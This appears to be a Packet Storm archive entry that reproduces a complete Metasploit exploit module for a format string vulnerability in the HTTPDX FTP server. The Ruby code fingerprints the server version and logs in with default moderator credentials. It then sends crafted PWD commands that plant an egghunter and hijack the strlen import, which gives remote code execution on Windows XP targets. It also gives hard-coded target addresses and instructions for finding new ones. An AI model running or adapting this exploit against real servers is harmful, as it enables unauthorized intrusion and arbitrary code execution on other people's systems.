HTTPDX tolog() Function Format String Vulnerability

2009-12-31T00:00:00
ID PACKETSTORM:84561
Type packetstorm
Reporter jduck
Modified 2009-12-31T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Egghunter  
include Msf::Exploit::FormatString  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',  
'Description' => %q{  
This module exploits a format string vulnerability in HTTPDX FTP server.   
By sending an specially crafted FTP command containing format specifiers, an  
attacker can corrupt memory and execute arbitrary code.  
  
By default logging is off for HTTP, but enabled for the 'moderator' user  
via FTP.  
},  
'Author' =>  
[  
'jduck'  
],  
'References' =>  
[  
[ 'OSVDB', '60181' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Privileged' => true,  
'Payload' =>  
{  
# format string max length  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x25",  
'DisableNops' => 'True',  
'StackAdjustment' => -1500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#  
# Automatic targeting via fingerprinting  
#  
[ 'Automatic Targeting', { 'auto' => true } ],  
  
#  
# specific targets  
#  
[ 'httpdx 1.4 - Windows XP SP3 English',  
{  
'NumPops' => 37,  
'Writable' => 0x64f87810, # empty space in core.dll imports  
'FlowHook' => 0x64f870e8 # core.dll import for strlen  
}  
],  
[ 'httpdx 1.4.5 - Windows XP SP3 English',  
{  
'NumPops' => 37,  
'Writable' => 0x64f87810, # empty space in core.dll imports  
'FlowHook' => 0x64f870e8 # core.dll import for strlen  
}  
],  
[ 'httpdx 1.4.6 - Windows XP SP3 English',  
{  
'NumPops' => 37,  
'Writable' => 0x64f87810, # empty space in core.dll imports  
'FlowHook' => 0x64f870e8 # core.dll import for strlen  
}  
],  
[ 'httpdx 1.4.6b - Windows XP SP3 English',  
{  
'NumPops' => 37,  
'Writable' => 0x64f87810, # empty space in core.dll imports  
'FlowHook' => 0x64f870e8 # core.dll import for strlen  
}  
],  
[ 'httpdx 1.5 - Windows XP SP3 English',  
{  
'NumPops' => 29,  
'Writable' => 0x64f87810, # empty space in core.dll imports  
'FlowHook' => 0x64f870e8 # core.dll import for strlen  
}  
]  
],  
'DefaultTarget' => 0))  
=begin  
  
NOTE: Even though all targets have the same addresses now, future targets may not.  
  
To find a target:  
  
1. open "core.dll" in IDA Pro  
2. navigate to the "c_wildcmp" function  
3. follow the xref to the first strlen  
4. follow the xref to the imports area  
5. copy/paste the address   
6. the 'Writable' value should be anything after the last address IDA shows..  
(preferably something above 0x0d, to avoid bad chars)  
  
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.  
For now, that will have to be done manually.  
  
=end  
register_options(  
[  
Opt::RPORT(21),  
# note the default user/pass  
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),  
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])  
], self.class )  
end  
  
  
def check  
connect  
disconnect  
print_status("FTP Banner: #{banner}".strip)  
if banner =~ /httpdx.*\(Win32\)/  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
  
# Use a copy of the target  
mytarget = target  
  
if (target['auto'])  
mytarget = nil  
  
print_status("Automatically detecting the target...")  
connect  
disconnect  
  
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then  
print_status("FTP Banner: #{banner}")  
version = m[1]  
else  
print_status("No matching target")  
return  
end  
  
self.targets.each do |t|  
if (t.name =~ /#{version} - /) then  
mytarget = t  
break  
end  
end  
  
if (not mytarget)  
print_status("No matching target")  
return  
end  
  
print_status("Selected Target: #{mytarget.name}")  
else  
print_status("Trying target #{mytarget.name}...")  
end  
  
# proceed with chosen target...  
connect_login  
  
# '<ip>\n PWD '  
ip_length = Rex::Socket.source_address(datastore['RHOST']).length  
num_start = ip_length + 1 + 3 + 1  
  
  
# use the egghunter!  
eh_stub, eh_egg = generate_egghunter  
  
# write shellcode to 'writable' (all at once)  
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)  
print_status(" payload format string buffer is #{fmtbuf.length} bytes")  
if (res = send_cmd(['PWD', fmtbuf ], true))  
print_status(res.strip)  
end  
  
  
# write 'writable' addr to flowhook (execute shellcode)  
# NOTE: the resulting two writes must be done at the same time  
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)  
  
# add payload to the end  
fmtbuf << eh_egg * 2  
fmtbuf << payload.encoded  
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")  
if (res = send_cmd(['PWD', fmtbuf ], true))  
print_status(res.strip)  
end  
  
  
disconnect  
handler  
  
# connect again to trigger shellcode  
print_status(" triggering shellcode now")  
print_status("Please be patient, the egg hunter may take a while...")  
connect  
end  
  
end  
  
  
=begin  
  
also present in 1.5 (presumably all versions in between)  
  
1.4/httpdx_src/ftp.cpp:  
  
544 //printf(out);  
545 char af[MAX] = {0};  
546 if(isset(out) && client->serve.log || client->serve.debug)  
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);  
548 if(isset(out) && client->serve.log)  
549 tolog(client->serve.accessl,af);  
550 if(isset(out) && client->serve.debug)  
551 printf(af);  
  
1.4/httpdx_src/http.cpp:  
  
172 char af[MAX] = {0};  
173 if(client.serve.log || client.serve.debug)  
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);  
175 if(client.serve.log)  
176 tolog(client.serve.accessl,af);  
177 if(client.serve.debug)  
178 printf(af);  
  
=end  
`